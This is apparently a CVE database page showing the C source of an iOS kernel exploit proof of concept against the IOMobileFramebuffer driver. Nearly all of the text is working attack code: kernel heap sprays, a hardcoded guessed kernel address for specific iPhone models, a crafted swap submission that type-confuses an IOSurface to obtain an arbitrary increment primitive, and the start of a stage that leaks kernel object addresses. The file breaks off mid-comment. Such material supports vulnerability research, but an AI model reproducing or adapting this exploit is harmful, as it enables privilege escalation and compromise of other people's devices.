4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / IOMobileFramebufferUserClient.c C
#include <errno.h>
#include <mach/mach.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <unistd.h>

#include "array.h"
#include "iokit.h"

#ifdef SAMPLING_MEMORY
#include "kernel_hooks.h"
#include "xnuspy_ctl.h"
#endif

/* For iPhone 8, 14.6, 30 seconds after boot */
#define GUESSED_OSDATA_BUFFER_PTR (0xffffffe8dd594000uLL)

/* For iPhone SE (2016), 14.7, 30 seconds after boot */
/* #define GUESSED_OSDATA_BUFFER_PTR (0xfffffff9942d0000uLL) */

struct ool_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports_desc;
};

static mach_port_t kalloc(size_t len){
    mach_port_t recv_port;
    kern_return_t kret = mach_port_allocate(mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE, &recv_port);

    if(kret){
        printf("%s: mach_port_allocate %s\n", __func__, mach_error_string(kret));
        return MACH_PORT_NULL;
    }

    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT;
    mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO,
            (mach_port_info_t)&limits, cnt);

    size_t port_count = len / 8;

    /* calloc for MACH_PORT_NULL */
    mach_port_t *ports = calloc(port_count, sizeof(mach_port_t));

    struct ool_msg oolmsg = {0};
    oolmsg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) |
        MACH_MSGH_BITS_COMPLEX;
    oolmsg.hdr.msgh_size = sizeof(struct ool_msg);
    oolmsg.hdr.msgh_remote_port = recv_port;
    oolmsg.hdr.msgh_local_port = MACH_PORT_NULL;
    oolmsg.hdr.msgh_id = 0xaabbccdd;
    oolmsg.body.msgh_descriptor_count = 1;

    mach_msg_ool_ports_descriptor_t *opd = &oolmsg.ool_ports_desc;

    opd->address = ports;
    opd->count = port_count;
    opd->deallocate = 0;
    opd->copy = MACH_MSG_PHYSICAL_COPY;
    opd->disposition = MACH_MSG_TYPE_MAKE_SEND;
    opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

    kret = mach_msg(&oolmsg.hdr, MACH_SEND_MSG, sizeof(oolmsg), 0,
            MACH_PORT_NULL, 0, MACH_PORT_NULL);

    if(kret){
        printf("%s: mach_msg %s\n", __func__, mach_error_string(kret));
        return MACH_PORT_NULL;
    }

    return recv_port;
}

static io_connect_t IOMobileFramebufferUserClient_uc(void){
    kern_return_t kret = KERN_SUCCESS;
    io_connect_t IOMobileFramebufferUserClient_user_client = IO_OBJECT_NULL;
    const char *name = "IOMobileFramebuffer";

    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
            IOServiceMatching(name));

    if(!service){
        printf("%s: IOServiceGetMatchingService returned NULL\n", __func__);
        return IO_OBJECT_NULL;
    }

    int type = 0;
    kret = IOServiceOpen(service, mach_task_self(), type,
            &IOMobileFramebufferUserClient_user_client);

    if(kret){
        printf("%s: IOServiceOpen returned %s\n", __func__,
                mach_error_string(kret));
        return IO_OBJECT_NULL;
    }

    return IOMobileFramebufferUserClient_user_client;
}

static io_connect_t IOSurfaceRootUserClient_uc(void){
    kern_return_t kret = KERN_SUCCESS;
    io_connect_t IOSurfaceRootUserClient_user_client = IO_OBJECT_NULL;
    const char *name = "IOSurfaceRoot";

    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
            IOServiceMatching(name));

    if(!service){
        printf("%s: IOServiceGetMatchingService returned NULL\n", __func__);
        return IO_OBJECT_NULL;
    }

    int type = 0;
    kret = IOServiceOpen(service, mach_task_self(), type,
            &IOSurfaceRootUserClient_user_client);

    if(kret){
        printf("%s: IOServiceOpen returned %s\n", __func__,
                mach_error_string(kret));
        return IO_OBJECT_NULL;
    }

    return IOSurfaceRootUserClient_user_client;
}

static int create_surface(io_connect_t uc){
    /* Thanks @bazad */
    struct _IOSurfaceFastCreateArgs {
        uint64_t address;
        uint32_t width;
        uint32_t height;
        uint32_t pixel_format;
        uint32_t bytes_per_element;
        uint32_t bytes_per_row;
        uint32_t alloc_size;
    };

    struct IOSurfaceLockResult {
        uint8_t _pad1[0x18];
        uint32_t surface_id;
        uint8_t _pad2[0xf60-0x18-0x4];
    };

    struct _IOSurfaceFastCreateArgs create_args = {0};
    create_args.width = 100;
    create_args.height = 100;
    /* below works */
    create_args.pixel_format = 0x42475241;
    create_args.alloc_size = 0;

    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = sizeof(lock_result);

    kern_return_t kret = IOConnectCallMethod(uc, 6, NULL, 0, &create_args,
            sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);

    if(kret)
        return -1;

    return lock_result.surface_id;
}

static int create_swap(io_connect_t uc){
    uint64_t swap_id;
    uint32_t cnt = 1;

    kern_return_t kret = IOConnectCallScalarMethod(uc, 4, NULL, 0,
            &swap_id, &cnt);

    if(kret)
        return -1;

    return swap_id;
}

static bool cancel_swap(io_connect_t uc, int swap_id){
    uint64_t in = (uint64_t)swap_id;

    kern_return_t kret = IOConnectCallScalarMethod(uc, 52, &in,
            1, NULL, NULL);

    if(kret){
        printf("%s: s_swap_cancel failed: %s\n", __func__,
                mach_error_string(kret));
        return false;
    }

    return true;
}

static bool submit_stagen_swap(io_connect_t uc,
        uint64_t iosurfaceroot_kaddr, uint64_t recursive_lock_kaddr,
        uint64_t plus_c0_kptr, uint64_t device_cache_kaddr,
        int *swap_id_out){
    static uint64_t a = 0;
    kern_return_t kret = KERN_SUCCESS;

    if(!a){
        kret = vm_allocate(mach_task_self(), (vm_address_t *)&a, 0x4000, 1);

        if(kret){
            printf("%s: vm_allocate: %s\n", __func__,
                    mach_error_string(kret));
            *swap_id_out = 0;
            return false;
        }
    }

    int swap_id = create_swap(uc);

    if(swap_id == -1){
        printf("%s: failed to make swap\n", __func__);
        *swap_id_out = 0;
        return false;
    }

    uint8_t swap_submit_in[0x280];
    memset(swap_submit_in, 0, sizeof(swap_submit_in));
    
    /* surface+0x28: IOSurfaceRoot, must point to something valid
     * for the 10-byte zero primitive */
    *(uint64_t *)(swap_submit_in + 0x67) = iosurfaceroot_kaddr;

    /* surface+0x38: must be non-NULL so our swap is registered
     * in the surface array */
    *(uint64_t *)(swap_submit_in + 0x77) = 0x4141414141414141;
    
    /* surface+0x40: must be the same as *(device_cache+0x38) for the
     * 10-byte zero primitive we have */
    *(uint64_t *)(swap_submit_in + 0x97) = device_cache_kaddr + 0x38;

    /* surface+0x48: IOSurfaceDeviceCache pointer */
    *(uint64_t *)(swap_submit_in + 0x9f) = device_cache_kaddr;

    /* surface+0x80: IORecursiveLock */
    *(uint64_t *)(swap_submit_in + 0x11b) = recursive_lock_kaddr;

    /* surface+0xb0: size passed to IOMalloc_external * 8
     *
     * Make this large so we bail before the phone tries to do
     * a virtual method call with a pointer we can't guess
     * inside IOSurfaceClient::init */
    *(uint32_t *)(swap_submit_in + 0x14b) = 0x7fffffff;

    /* surface+0xc0: kernel pointer, can do an arbitrary decrement/
     * increment with *(surface+0xc0)+0x14 */
    *(uint64_t *)(swap_submit_in + 0x15b) = plus_c0_kptr;

    *(uint64_t *)(swap_submit_in + 0x38) = a;
    *(uint32_t *)(swap_submit_in + 0x40) = swap_id;

    /* Enable all layers so we can control more of the
     * type confused IOSurface */
    *(uint32_t *)(swap_submit_in + 0xc8) = (1 << 2) | (1 << 1) | (1 << 0);

    /* Prevent this swap from being dropped inside swap_start_gated
     * (will be considered as a "no-op swap" otherwise) */
    *(uint32_t *)(swap_submit_in + 0xcc) = 0x42424242;

    /* This must not be 0, 2, 9, 12, or 13, otherwise the most recently
     * submitted swap will not show up at UnifiedPipeline+0xb18 */
    *(uint32_t *)(swap_submit_in + 0xf4) = 0x100;

    /* Set all to 4 so the above is recorded in the swap object */
    *(uint32_t *)(swap_submit_in + 0x100) = 4;
    *(uint32_t *)(swap_submit_in + 0x104) = 4;
    *(uint32_t *)(swap_submit_in + 0x108) = 4;

    /* Shared client id */
    *(uint8_t *)(swap_submit_in + 0x157) = 0;
    *(uint8_t *)(swap_submit_in + 0x158) = 0;

    kret = IOConnectCallStructMethod(uc, 5, swap_submit_in,
            sizeof(swap_submit_in), NULL, NULL);

    if(kret){
        printf("%s: swap_submit: %s\n", __func__, mach_error_string(kret));
        *swap_id_out = 0;
        return false;
    }

    *swap_id_out = swap_id;

    return true;
}

/* Keep track of the ports that external method 83 produces so we
 * can clean them up after kernel read/write is obtained */
static struct array *g_increment32_n_ports = NULL;

static bool increment32_n(uint64_t kaddr, uint32_t times){
    static io_connect_t iomfbuc = IO_OBJECT_NULL;

    if(!iomfbuc){
        iomfbuc = IOMobileFramebufferUserClient_uc();

        if(!iomfbuc){
            printf("%s: failed making iomfb user client\n", __func__);
            return false;
        }
    }

    if(!g_increment32_n_ports){
        g_increment32_n_ports = array_new();

        if(!g_increment32_n_ports){
            printf("%s: failed to allocate array for ports\n", __func__);
            return false;
        }
    }

    int swap_id;

    /* Using IOSurface::increment_use_count, this alone is enough to
     * call it */
    if(!submit_stagen_swap(iomfbuc, 0, 0, kaddr - 0x14, 0, &swap_id))
        return false;

    for(uint32_t i=0; i<times; i++){
        uint64_t in = 16;
        uint64_t out = 0;
        uint32_t outcnt = 1;

        kern_return_t kret = IOConnectCallScalarMethod(iomfbuc, 83, &in,
                1, &out, &outcnt);

        if(kret){
            printf("%s: s_displayed_fb_surface failed at %d: %s\n", __func__,
                    i, mach_error_string(kret));
            return false;
        }

        array_insert(g_increment32_n_ports, (void *)(uintptr_t)out);
    }

    return true;
}

static uint32_t transpose(uint32_t val){
    uint32_t ret = 0;

    for(size_t i = 0; val > 0; i += 8){
        ret += (val % 255) << i;
        val /= 255;
    }

    return ret + 0x01010101;
}

struct set_value_spray {
    uint32_t surface_id;
    uint32_t pad;

    /* Serialized XML */
    uint32_t set_value_data[7];

    /* OSData spray data */
    uint8_t osdata_spray[];
};

static uint32_t g_cur_osdata_spray_key = 0;
static struct set_value_spray *g_spray_data_one_page = NULL;
static struct set_value_spray *g_spray_data_two_pages = NULL;
static struct set_value_spray *g_spray_data_three_pages = NULL;
static struct set_value_spray *g_spray_data_four_pages = NULL;
static uint8_t *g_spray_junk_buf_one_page = NULL;
static uint8_t *g_spray_junk_buf_two_pages = NULL;
static uint8_t *g_spray_junk_buf_three_pages = NULL;
static uint8_t *g_spray_junk_buf_four_pages = NULL;
static bool g_osdata_spray_inited = false;

static void osdata_spray_init(void){
    g_spray_data_one_page = malloc(sizeof(struct set_value_spray) + 0x4000);

    if(!g_spray_data_one_page)
        return;

    g_spray_data_two_pages = malloc(sizeof(struct set_value_spray) + 0x8000);

    if(!g_spray_data_two_pages)
        return;

    g_spray_data_three_pages = malloc(sizeof(struct set_value_spray) + 0xc000);

    if(!g_spray_data_three_pages)
        return;

    g_spray_data_four_pages = malloc(sizeof(struct set_value_spray) + 0x10000);

    if(!g_spray_data_four_pages)
        return;

    g_spray_junk_buf_one_page = malloc(0x4000);

    if(!g_spray_junk_buf_one_page)
        return;

    g_spray_junk_buf_two_pages = malloc(0x8000);

    if(!g_spray_junk_buf_two_pages)
        return;

    g_spray_junk_buf_three_pages = malloc(0xc000);

    if(!g_spray_junk_buf_three_pages)
        return;

    g_spray_junk_buf_four_pages = malloc(0x10000);

    if(!g_spray_junk_buf_four_pages)
        return;

    memset(g_spray_junk_buf_one_page, '1', 0x4000);
    memset(g_spray_junk_buf_two_pages, '2', 0x8000);
    memset(g_spray_junk_buf_three_pages, '3', 0xc000);
    memset(g_spray_junk_buf_four_pages, '4', 0x10000);

    g_osdata_spray_inited = true;
}

static bool osdata_spray_free(io_connect_t iosruc, int surface_id,
        uint32_t spray_key){
    uint64_t delete_in[] = { (uint64_t)surface_id, spray_key, 0 };

    uint8_t delete_out[4];
    size_t delete_outcnt = sizeof(delete_out);

    kern_return_t kret = IOConnectCallStructMethod(iosruc, 11,
            delete_in, sizeof(delete_in), delete_out, &delete_outcnt);

    if(kret){
        printf("%s: s_delete_value failed for key %#x: %s\n", __func__,
                spray_key, mach_error_string(kret));
        return false;
    }

    return true;
}

static bool osdata_spray_internal(io_connect_t iosruc,
        int surface_id, uint32_t *keyp, uint8_t *spray_data,
        size_t spray_sz, struct set_value_spray *spray_buf){
    size_t aligned_spray_sz = spray_sz;

    if(spray_sz & 0x3fffuLL)
        aligned_spray_sz = (spray_sz + 0x4000) & ~(0x3fffuLL);

    uint32_t cur_spray_key = transpose(g_cur_osdata_spray_key);

    spray_buf->surface_id = surface_id;
    spray_buf->pad = 0;

    uint32_t *set_value_data = spray_buf->set_value_data;

    *set_value_data++ = kOSSerializeBinarySignature;
    *set_value_data++ = kOSSerializeEndCollection | kOSSerializeArray | 1;
    *set_value_data++ = kOSSerializeEndCollection | kOSSerializeDictionary | 1;
    *set_value_data++ = kOSSerializeSymbol | 5;
    *set_value_data++ = cur_spray_key;
    *set_value_data++ = 0;
    *set_value_data++ = kOSSerializeEndCollection | kOSSerializeData | aligned_spray_sz;

    memcpy(spray_buf->osdata_spray, spray_data, spray_sz);

    uint32_t out = 0;
    size_t outsz = sizeof(out);

    kern_return_t kret = IOConnectCallStructMethod(iosruc, 9, spray_buf,
            sizeof(struct set_value_spray) + aligned_spray_sz, &out, &outsz);

    if(kret){
        printf("%s: s_set_value failed: %s\n", __func__,
                mach_error_string(kret));
        return false;
    }

    *keyp = cur_spray_key;

    g_cur_osdata_spray_key++;

    return true;
}

static bool osdata_junk_spray(io_connect_t iosruc, int surface_id,
        size_t sz, uint32_t *keyp){
    if(!g_osdata_spray_inited){
        osdata_spray_init();

        if(!g_osdata_spray_inited){
            printf("%s: failed to init osdata spray globals\n", __func__);
            return false;
        }
    }

    struct set_value_spray *spray_buf;
    uint8_t *buf;

    if(sz <= 0x4000){
        spray_buf = g_spray_data_one_page;
        buf = g_spray_junk_buf_one_page;
    }
    else if(sz <= 0x8000){
        spray_buf = g_spray_data_two_pages;
        buf = g_spray_junk_buf_two_pages;
    }
    else if(sz <= 0xc000){
        spray_buf = g_spray_data_three_pages;
        buf = g_spray_junk_buf_three_pages;
    }
    else if(sz <= 0x10000){
        spray_buf = g_spray_data_four_pages;
        buf = g_spray_junk_buf_four_pages;
    }
    else{
        printf("%s: unsupported size %#zx\n", __func__, sz);
        return false;
    }

    return osdata_spray_internal(iosruc, surface_id, keyp, buf,
            sz, spray_buf);
}

static bool osdata_spray(io_connect_t iosruc, int surface_id,
        uint8_t *data, size_t sz, uint32_t *keyp){
    if(!g_osdata_spray_inited){
        osdata_spray_init();

        if(!g_osdata_spray_inited){
            printf("%s: failed to init osdata spray globals\n", __func__);
            return false;
        }
    }

    struct set_value_spray *spray_buf;

    if(sz <= 0x4000)
        spray_buf = g_spray_data_one_page;
    else if(sz <= 0x8000)
        spray_buf = g_spray_data_two_pages;
    else if(sz <= 0xc000)
        spray_buf = g_spray_data_three_pages;
    else if(sz <= 0x10000)
        spray_buf = g_spray_data_four_pages;
    else{
        printf("%s: unsupported size %#zx\n", __func__, sz);
        return false;
    }

    return osdata_spray_internal(iosruc, surface_id, keyp, data,
            sz, spray_buf);
}

static int ptrcmp(const void *_a, const void *_b){
    const uintptr_t a = *(uintptr_t *)_a;
    const uintptr_t b = *(uintptr_t *)_b;

    if(a < b)
        return -1;
    else if(a == b)
        return 0;
    else
        return 1;
}

struct pipe_hole_filler {
    int rfd, wfd;
    uint64_t inferred_pipebuf_kva;
};

struct iosruc_hole_filler {
    io_connect_t iosruc;
    uint64_t inferred_client_array_kva;
    struct array *surface_ids;
};

#ifdef SAMPLING_MEMORY
extern void *g_osdata_kaddrs[8000];
extern uint64_t g_osdata_kaddrs_idx;
extern bool g_record_osdata_kaddrs;

static void sample_kernel_map(void){
    struct array *osdata_kaddrs = array_new();

    /* Allocations should be contiguous after the 1000th one */
    for(int i=1000; i<g_osdata_kaddrs_idx; i++)
        array_insert(osdata_kaddrs, g_osdata_kaddrs[i]);

    array_qsort(osdata_kaddrs, ptrcmp);

    size_t ndists = g_osdata_kaddrs_idx - 500;
    uint64_t *dists = malloc(sizeof(uint64_t) * ndists);

    for(int i=0; i<osdata_kaddrs->len; i++){
        void *kptr = osdata_kaddrs->items[i];

        if(i == 0)
            puts("");
        else{
            uint64_t before = (uint64_t)osdata_kaddrs->items[i-1];
            uint64_t dist = (uint64_t)kptr - before;

            dists[i] = dist;

            if(dist != 0x10000){
                printf("%s: WARNING: %p [%#llx bytes from behind]\n",
                        __func__, kptr, dist);
            }
        }
    }

    printf("%s: to add to alloc_averager.py:\n", __func__);

    void *last = osdata_kaddrs->items[osdata_kaddrs->len-1];

    printf("[%p, %p],\n", osdata_kaddrs->items[0],
            (void *)((uintptr_t)last + 0x100000 - 0x4000));
}

static bool install_kernel_memory_allocate_hook(void){
    long SYS_xnuspy_ctl;
    size_t oldlen = sizeof(long);
    int res = sysctlbyname("kern.xnuspy_ctl_callnum", &SYS_xnuspy_ctl,
            &oldlen, NULL, 0);

    if(res == -1){
        printf("sysctlbyname with kern.xnuspy_ctl_callnum failed: %s\n",
                strerror(errno));
        return false;
    }

    res = syscall(SYS_xnuspy_ctl, XNUSPY_CHECK_IF_PATCHED, 0, 0, 0);

    if(res != 999){
        printf("xnuspy_ctl isn't present?\n");
        return false;
    }

    extern uint64_t kernel_slide;
    res = syscall(SYS_xnuspy_ctl, XNUSPY_CACHE_READ, KERNEL_SLIDE,
            &kernel_slide, 0, 0);

    if(res){
        printf("failed reading kernel slide from xnuspy cache\n");
        return false;
    }

    /* iPhone 8, 14.6 */
    /* uint64_t kma = 0xfffffff007b2e66c; */

    /* iPhone SE (2016), 14.7 */
    uint64_t kma = 0xfffffff0071f1384;

    res = syscall(SYS_xnuspy_ctl, XNUSPY_INSTALL_HOOK,
            kma, _kernel_memory_allocate, &kernel_memory_allocate);

    if(res)
        return false;

    return true;
}
#endif

static bool exploit_stage1(struct array **iosruc_hole_fillersp,
        struct array **pipe_hole_fillersp, uint64_t *anchor_alloc_kaddrp){
    kern_return_t kret = KERN_SUCCESS;

    /* Shape the kernel virtual address space.
     *  1. Fill up the kalloc map */

    struct array *kalloc_map_filler_recvs = array_new();

    for(int i=0; i<2000; i++){
        mach_port_t r = kalloc(0x10000);

        if(!r){
            printf("%s: failed kalloc map filler recv %d\n", __func__, i);
            break;
        }

        array_insert(kalloc_map_filler_recvs, (void *)(uintptr_t)r);
    }

    io_connect_t osdata_spray_iosruc = IOSurfaceRootUserClient_uc();

    if(!osdata_spray_iosruc){
        printf("%s: failed making IOSurfaceRootUserClient?\n", __func__);
        return false;
    }

    int osdata_spray_surface = create_surface(osdata_spray_iosruc);

    if(osdata_spray_surface == -1){
        printf("%s: failed to create spray IOSurface\n", __func__);
        return false;
    }

    struct array *iosruc_hole_fillers = array_new();

    /* Free 16mb to the left of the anchor alloc */
    const uint64_t anchor_alloc_free_mbs = 16;
    const uint64_t anchor_alloc_free_bytes = 0x100000 * anchor_alloc_free_mbs;
    const uint32_t spray_sz = 0x10000;

    /* How many 0x10000-byte holes we create to the left of the
     * anchor alloc */
    uint32_t nholes_left = anchor_alloc_free_bytes / spray_sz;

    for(int i=0; i<(nholes_left + 20) / 2; i++){
        struct iosruc_hole_filler *ihf = malloc(sizeof(*ihf));

        io_connect_t uc = IOSurfaceRootUserClient_uc();

        if(!uc){
            printf("%s: could not make hole filler iosruc @ %d\n",
                    __func__, i);
            return false;
        }

        ihf->iosruc = uc;
        ihf->inferred_client_array_kva = 0;
        ihf->surface_ids = array_new();

        array_insert(iosruc_hole_fillers, ihf);
    }

    /* We'll also be filling holes with 0x10000-byte pipe buffers later */
    struct array *pipe_hole_fillers = array_new();

    for(int i=0; i<(nholes_left + 20) / 2; i++){
        struct pipe_hole_filler *phf = malloc(sizeof(*phf));
        int p[2];

        if(pipe(p) == -1){
            printf("%s: pipe call %d failed: %s\n", __func__, i,
                    strerror(errno));
            return false;
        }

        phf->rfd = p[0];
        phf->wfd = p[1];
        phf->inferred_pipebuf_kva = 0;

        array_insert(pipe_hole_fillers, phf);
    }

    /* Prep for future kernel map IOSurfaceClient arrays:
     * This will set the surface client array capacity for the provider to
     * all the iosruc's, which will make just one IOSurfaceClient allocation
     * cause a kernel map allocation */
    struct iosruc_hole_filler *ihf0 = iosruc_hole_fillers->items[0];
    int nsurfaces = 4095;
    int *surfaces = malloc(sizeof(int) * nsurfaces);

    for(int k=0; k<nsurfaces; k++){
        surfaces[k] = create_surface(ihf0->iosruc);

        if(!surfaces[k]){
            printf("%s: could not make surface for hole filler 0\n", __func__);
            return false;
        }
    }

    /* Free all the surfaces except one so we can create new
     * surfaces later */
    for(int k=0; k<nsurfaces-1; k++){
        uint64_t surface = (uint64_t)surfaces[k];

        kret = IOConnectCallScalarMethod(ihf0->iosruc, 1, &surface,
                1, NULL, NULL);

        if(kret){
            printf("%s: s_release_surface failed: %s\n", __func__,
                    mach_error_string(kret));
            return false;
        }
    }

    array_insert(ihf0->surface_ids, (void *)(uintptr_t)surfaces[nsurfaces-1]);

    free(surfaces);
    surfaces = NULL;

    /* 2. Spray 500 MB into the kernel map via OSData */
    struct set_value_spray {
        uint32_t surface_id;
        uint32_t pad;

        /* Serialized XML */
        uint32_t set_value_data[7];

        /* OSData spray data */
        uint8_t osdata_spray[];
    };

    const uint32_t mbs = 500;
    const size_t total_spray = 0x100000 * mbs;
    const uint32_t nsprays = total_spray / spray_sz;

    struct array *osdata_spray_keys = array_new();
    uint8_t *osdata_spray_buf = malloc(spray_sz);

#ifdef SAMPLING_MEMORY
    if(!install_kernel_memory_allocate_hook())
        return false;

    g_record_osdata_kaddrs = true;
#endif

    uint32_t osdata_spray_buf_constant = 0x12345678;

    /* Record the page number as well as the index into osdata_spray_keys */
    for(int i=0; i<nsprays; i++){
        ((uint32_t *)osdata_spray_buf)[0] = osdata_spray_buf_constant;
        ((uint32_t *)osdata_spray_buf)[1] = 0;
        ((uint32_t *)osdata_spray_buf)[2] = i;

        ((uint32_t *)osdata_spray_buf)[0x4000/4] = osdata_spray_buf_constant;
        ((uint32_t *)osdata_spray_buf)[(0x4000/4)+1] = 1;
        ((uint32_t *)osdata_spray_buf)[(0x4000/4)+2] = i;

        ((uint32_t *)osdata_spray_buf)[0x8000/4] = osdata_spray_buf_constant;
        ((uint32_t *)osdata_spray_buf)[(0x8000/4)+1] = 2;
        ((uint32_t *)osdata_spray_buf)[(0x8000/4)+2] = i;

        ((uint32_t *)osdata_spray_buf)[0xc000/4] = osdata_spray_buf_constant;
        ((uint32_t *)osdata_spray_buf)[(0xc000/4)+1] = 3;
        ((uint32_t *)osdata_spray_buf)[(0xc000/4)+2] = i;

        uint32_t key;

        if(!osdata_spray(osdata_spray_iosruc, osdata_spray_surface,
                    osdata_spray_buf, spray_sz, &key)){
            printf("%s: failed while spraying 500mb\n", __func__);
            return false;
        }

        array_insert(osdata_spray_keys, (void *)(uintptr_t)key);
    }

#ifdef SAMPLING_MEMORY
    g_record_osdata_kaddrs = false;
    sample_kernel_map();
    g_osdata_kaddrs_idx = 0;
    return true;
#endif

    uintptr_t anchor_alloc_kaddr = GUESSED_OSDATA_BUFFER_PTR;

    /* printf("%s: Guessing that %#lx points to one of our OSData buffers\n", */
    /*         __func__, anchor_alloc_kaddr); */

    if(!increment32_n(anchor_alloc_kaddr, 1)){
        printf("%s: failed to perform the arbitrary increment at %#lx\n",
                __func__, anchor_alloc_kaddr);
        return false;
    }

    uint32_t anchor_alloc = -1, anchor_alloc_key = -1;

    /* Figure out which buffer was changed */
    uint8_t *readback_buf = malloc(0x10 + spray_sz);
    memset(readback_buf, 0, 0x10 + spray_sz);

    for(int i=0; i<osdata_spray_keys->len; i++){
        uint32_t key = (uint32_t)(uintptr_t)osdata_spray_keys->items[i];

        uint32_t get_value_input[4];
        memset(get_value_input, 0, sizeof(get_value_input));

        get_value_input[0] = osdata_spray_surface;
        get_value_input[2] = key;

        size_t readback_buf_sz = 0x10 + spray_sz;

        kret = IOConnectCallStructMethod(osdata_spray_iosruc, 10,
                get_value_input, sizeof(get_value_input), readback_buf,
                &readback_buf_sz);

        if(kret){
            printf("%s: failed to read back OSData buffer for key %#x: %s\n",
                    __func__, key, mach_error_string(kret));
            return false;
        }

        uint8_t *readback_buf_orig = readback_buf;

        readback_buf += 0x10;

        for(int k=0; k<4; k++){
            uint32_t constant = *(uint32_t *)readback_buf;

            if(constant != osdata_spray_buf_constant){
                uint32_t pagenum = *(uint32_t *)(readback_buf + 0x4);
                uint32_t osdata_spray_key_idx = *(uint32_t *)(readback_buf + 0x8);

                printf("%s: pagenum %d keyidx %d\n", __func__,pagenum,
                        osdata_spray_key_idx);

                anchor_alloc = osdata_spray_key_idx;
                anchor_alloc_key = (uint32_t)(uintptr_t)osdata_spray_keys->items[anchor_alloc];
                anchor_alloc_kaddr -= (pagenum * 0x4000);

                break;
            }

            readback_buf += 0x4000;
        }

        if(anchor_alloc != -1){
            printf("%s: found OSData buffer for key %#x at %#lx\n",
                    __func__, anchor_alloc_key, anchor_alloc_kaddr);
            break;
        }

        readback_buf = readback_buf_orig;
        memset(readback_buf, 0, spray_sz);
    }

    if(anchor_alloc == -1){
        printf("%s: our guess was wrong, we may panic\n", __func__);
        return false;
    }

    /* Free 16 MB worth of allocations to the left of the anchor alloc */
    for(int i=anchor_alloc-nholes_left; i<anchor_alloc; i++){
        uint32_t key = (uint32_t)(uintptr_t)osdata_spray_keys->items[i];

        if(!osdata_spray_free(osdata_spray_iosruc, osdata_spray_surface, key)){
            printf("%s: left: failed freeing data for key %#x\n",
                    __func__, key);
            return false;
        }

        osdata_spray_keys->items[i] = (void *)-1;
    }

    uint64_t cur_left_hole_kva = anchor_alloc_kaddr - (spray_sz * nholes_left);

    /* We try and get a layout like this
     *   [IOSurfaceClient array][pipe buffer]<repeats>[anchor alloc]
     * or like this
     *   [pipe buffer][IOSurfaceClient array]<repeats>[anchor alloc]
     * because each time we use the 32-bit increment, a Mach port is
     * created, and ports are not an unlimited resource. Both these
     * arrays have the same length so this is safe */
    for(int i=0; i<iosruc_hole_fillers->len; i++){
        bool last_ihf = (i == iosruc_hole_fillers->len - 1);

        /* Exclude the first iosruc hole filler, because its IOSurfaceClient
         * array was allocated way before */
        struct iosruc_hole_filler *ihf = NULL;

        if(!last_ihf)
            ihf = iosruc_hole_fillers->items[i+1];

        struct pipe_hole_filler *phf = pipe_hole_fillers->items[i];

        /* We're betting on the KVA space being laid out as described
         * above, fingers crossed... */
        if(!last_ihf)
            ihf->inferred_client_array_kva = cur_left_hole_kva;

        phf->inferred_pipebuf_kva = cur_left_hole_kva + spray_sz;

        cur_left_hole_kva += (spray_sz * 2);

        uint8_t contents[0x10000];
        memset(contents, i, sizeof(contents));

        int surface_id = 0;

        if(!last_ihf)
            surface_id = create_surface(ihf->iosruc);

        int write_res = write(phf->wfd, contents, sizeof(contents));

        if(!last_ihf && surface_id == -1){
            printf("%s: failed to create IOSurfaceClient array for ihf %d\n",
                    __func__, i);
            return false;
        }

        if(write_res == -1){
            printf("%s: write failed for phf %d\n", __func__, i);
            return false;
        }

        if(!last_ihf)
            array_insert(ihf->surface_ids, (void *)(uintptr_t)surface_id);
    }

    /* There's a good chance that the IOSurfaceRootUserClient's
     * surface client array in the middle of this array falls in
     * the middle of the holes we reclaimed. Only spray surfaces here
     * so when we do stage2, the leaked IOSurfaceRootUserClient + other
     * pointers will correspond to this one */
    int mididx = iosruc_hole_fillers->len / 2;
    int spray_surface_id = 0;

    struct iosruc_hole_filler *mid = iosruc_hole_fillers->items[mididx];

    /* We don't want to trigger a reallocation from 0x10000 -->
     * 0x20000 bytes */
    while(spray_surface_id < 8191){
        spray_surface_id = create_surface(mid->iosruc);

        if(spray_surface_id == -1)
            break;

        array_insert(mid->surface_ids, (void *)(uintptr_t)spray_surface_id);
    }

    *iosruc_hole_fillersp = iosruc_hole_fillers;
    *pipe_hole_fillersp = pipe_hole_fillers;
    *anchor_alloc_kaddrp = anchor_alloc_kaddr;

    return true;
}

static bool exploit_stage2(struct array *iosruc_hole_fillers,
        uint64_t *iosr_kaddrp, uint64_t *iosruc_kaddrp,
        uint64_t *iosc_array_kaddrp,
        uint32_t *iosc_array_capacityp){
    /* Here we will leak the address of some IOSurfaceRootUserClient
     * and the address of its IOSurfaceClient array. We do this by
     * picking one of the IOSurfaceClient pointers in mid's surface client
     * array to increment. We increment it 0x70 bytes and so that its
     * IOSurface pointer now points to the IOSurfaceRootUserClient of the
     * IOSurfaceClient it overlaps with. Then we can leak fields of that
     * user client pointer with s_get_bulk_attachments.
     *
     * We don't know if mid->inferred_client_array_kva *actually*
     * corresponds to mid's IOSurfaceClient array, but it will correspond
     * to one of the iosruc_hole_filler structures */

    int mididx = iosruc_hole_fillers->len / 2;
    struct iosruc_hole_filler *mid = iosruc_hole_fillers->items[mididx];

    /* We allocated enough IOSurfaceClient objects so we should own all
     * kalloc.160 elements for the pages near the end of the surface
     * ID array. There's 102 elements per kalloc.160 page. Maybe we
     * can get one that sits on the eigth-last page in its all_used list */
    int surface_idx = mid->surface_ids->len - (102 * 8);
    int target_surface = (int)(uintptr_t)mid->surface_ids->items[surface_idx];

    for(int i=1; i<iosruc_hole_fillers->len; i++){
        struct iosruc_hole_filler *ihf = iosruc_hole_fillers->items[i];

        uint64_t current_client_array_guess = ihf->inferred_client_array_kva;

        /* We account for both KVA space layouts:
